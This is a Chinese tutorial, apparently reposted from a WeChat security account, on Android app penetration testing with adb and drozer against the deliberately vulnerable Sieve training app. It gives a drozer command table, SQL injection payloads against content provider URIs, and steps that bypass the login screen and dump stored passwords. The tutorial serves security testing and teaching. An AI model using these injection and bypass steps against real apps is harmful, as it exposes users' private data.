APP渗透测试漏洞实战教程

admin 2024年2月10日20:14:03评论21 views字数 3524阅读11分44秒阅读模式
0x00 文章前言
app测试一般有三步(个人理解):
  1. 功能点测试 类似web
  2. adb调试 框架检测(本文所介绍内容)
  3. 反编译
安卓应用会用到四大组件,我们简单了解下:
    activity组件:负责展示用户信息和结果处理
    service组件:后台计算,获取下载结果
    content provider组件:用于获取应用数据等相关信息
    broadcast receiver组件:用于获取广播信息
公众号回复:APP实战,获取本文工具
APP渗透测试漏洞实战教程

APP渗透测试漏洞实战教程
0x01 所需环境
夜神模拟器:https://www.yeshen.com/
adb安卓调试器:http://adbdownload.com/
    下载adb之后,将其安装根目录路径路径添加到环境变量 就可以使用adb命令。
Python2.7JAVA1.8
drozer环境 :https://labs.mwrinfosecurity.com/tools/drozer/
drozer-agent-2.3.4.apk:安装至模拟器
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
    如下路径需添加到系统中的环境变量:
APP渗透测试漏洞实战教程
    下图路径下的四个模块文件夹,复制到python2.7对应目录下,Python安装目录可找到相同路径:
APP渗透测试漏洞实战教程
    使用时可能会遇到一些模块未安装,但是安装时又提示pip中找不到,可以用其他版本替代:
python2 -m pip install googlepython2 -m pip install protobufpython2 -m pip install OpenSSL
  Sieve:一款用于APP漏洞测试的应用
APP渗透测试漏洞实战教程
0x02 存在问题
#获取安装包列表  run app.package.list
APP渗透测试漏洞实战教程
     如果中文乱码了,修改package.py源码,加入如下内容:
import sysreload(sys)sys.setdefaultencoding('utf-8')
APP渗透测试漏洞实战教程
    往下划,找到如下内容,在前面加上u:
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
0x03 Sieve安装
    拖动Sieve.apk进入模拟器,然后会自动安装:
APP渗透测试漏洞实战教程
    打开后需要设置密码,且长度需要为16位长度,我们设置:1234567812345678
APP渗透测试漏洞实战教程
    接下来需要设置一个PIN码,我们设置:1234
APP渗透测试漏洞实战教程
    完成后,输入设置的16位密码进行登入,然后添加测试数据:
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
0x04 环境连接
    模拟器开启drozer服务,打开后点击右下角按钮,文字显示为开启并显示运行服务时,即为成功开启服务:
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
    打开CMD窗口,输入命令开始后续操作:
#查看端口及连接  adb devices
APP渗透测试漏洞实战教程
#连接模拟器  adb connect 127.0.0.1:62001#本地端口转发至模拟器  adb forward tcp:31415 tcp:31415
APP渗透测试漏洞实战教程
#在确认drozer服务端开启的情况下,输入命令进行连接    drozer console connect    drozer console connect --server ip
APP渗透测试漏洞实战教程
    如果第一次进入的时候报错,提示 java环境变量找不到的话,需要在当前用户下创建一个.drozer_config文件:
[executables]java=C:Program FilesJavajdk1.8.0_201java.exejavac=C:Program FilesJavajdk1.8.0_201javac.exe
    重新连接就可以了。
APP渗透测试漏洞实战教程
0x05 常用命令
常用测试命令
作用
基本语法
run 具体命令 [-参数]
run  app.package.list
列出所有包名(软件)
run  app.package.info -a 包名
查看某个软件(包名)的具体信息
run  app.package.attacksurface 包名
查看某个软件的攻击面
run  app.activity.info -a 包名
查看某个软件的 activity 组件的具体攻击面
run  app.activity.start --component
包名具体activity 启动某个 activity
run  app.provider.info -a 包名
查看某个软件的 provider 组件的具体攻击面
run  app.provider.finduri 包名
列出某个软件的 URI
run  app.provider.query content://xxxxxURI
查看某个URI内容
run  app.provider.query content://xxxxxURI --projection "'"
检测某个 URI 是否存在注入
run  app.provider.query content://xxxxxURI --selection "'"
检测某个 URI 是否存在注入
run  app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER  WHERE type='table';--"
针对某个 URI 进行注入
run  app.provider.read content://xxxxxURI
通过某个 URI 读取文件
run  app.provider.download content://xxxxxURI 主机目录/文件名
通过某个 URI 下载文件
run  app.service.info -a 包名
查看某个软件的 service 组件的具体攻击面
run  app.service.start --action 某个 action
启动某个 service
run  app.broadcast.info -a 包名
查看某个软件的 broadcast 组件的具体攻击面
run  app.broadcast.send -action 某个 action  --extra TYPE KEY VALUE
执行某个 broadcast 组件的 action,并传递参数
run scanner.provider.finduris  -a 包名
寻找可访问 URI
run  scanner.provider.traversal -a 包名
探测存在目录遍历的 URI
run  scanner.provider.injection -a 包名
探测存在注入的 URI
APP渗透测试漏洞实战教程
0x06 测试开始
#获取安装包列表  run app.package.list
APP渗透测试漏洞实战教程
#获取安装包详细信息  run app.package.info -a 包名
APP渗透测试漏洞实战教程
#获取目标应用所使用的组件情况  run app.package.attacksurface 包名
    下图可见其潜在被导出的且暴露在外的相关组件种类及数量:
APP渗透测试漏洞实战教程
#查看目标应用所使用的activity组件详细信息  run app.activity.info -a 包名
    下图可见其三个组件权限均为:null,也就代表无需权限可对其进行操作:
APP渗透测试漏洞实战教程
#测试其某个activity组件  run app.activity.start --component 包名 activity组件名
    下图可见绕过了登录验证,直接进入了页面:
APP渗透测试漏洞实战教程
#获取Content Providers组件信息  run app.provider.info -a 包名
    如下图可见,所框选的两个Providers组件,无需权限即可进行操作,只有 com.mwr.example.sieve.DBContentProvider 的 /key 目录需要权限:
APP渗透测试漏洞实战教程
#列出所使用的URI,并检测是否存在可被获取数据的URI  run scanner.provider.finduris -a 包名
    扫描结果可见,存在三条可被读取的URI:
APP渗透测试漏洞实战教程
#尝试对某URI进行数据读取  run app.provider.query URI路径
    下图可见,成功读取到应用内的用户相关信息、应用密码等:
APP渗透测试漏洞实战教程
APP渗透测试漏洞实战教程
#探测应用中可能存在注入的URI  run scanner.provider.injection -a 包名
    探测显示,如下URI中的Projection、Selection参数存在注入:
APP渗透测试漏洞实战教程
#指定URI与参数,并插入单引号验证是否存在注入  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    下图可见,出现了报错,那八成是有注入了:
APP渗透测试漏洞实战教程
#尝试构造通用语句(安卓应用大多使用SQLite),列出所有的数据表  run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"
APP渗透测试漏洞实战教程
#指定某个表,对其内容通过注入进行数据获取    run app.provider.query URI --projection "* from Key;--"
APP渗透测试漏洞实战教程
累了,结束~

APP渗透测试漏洞实战教程

 

原文始发于微信公众号(犀利猪安全):爱住了 | APP渗透测试漏洞实战教程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日20:14:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APP渗透测试漏洞实战教程http://cn-sec.com/archives/2208538.html

发表评论

匿名网友 填写信息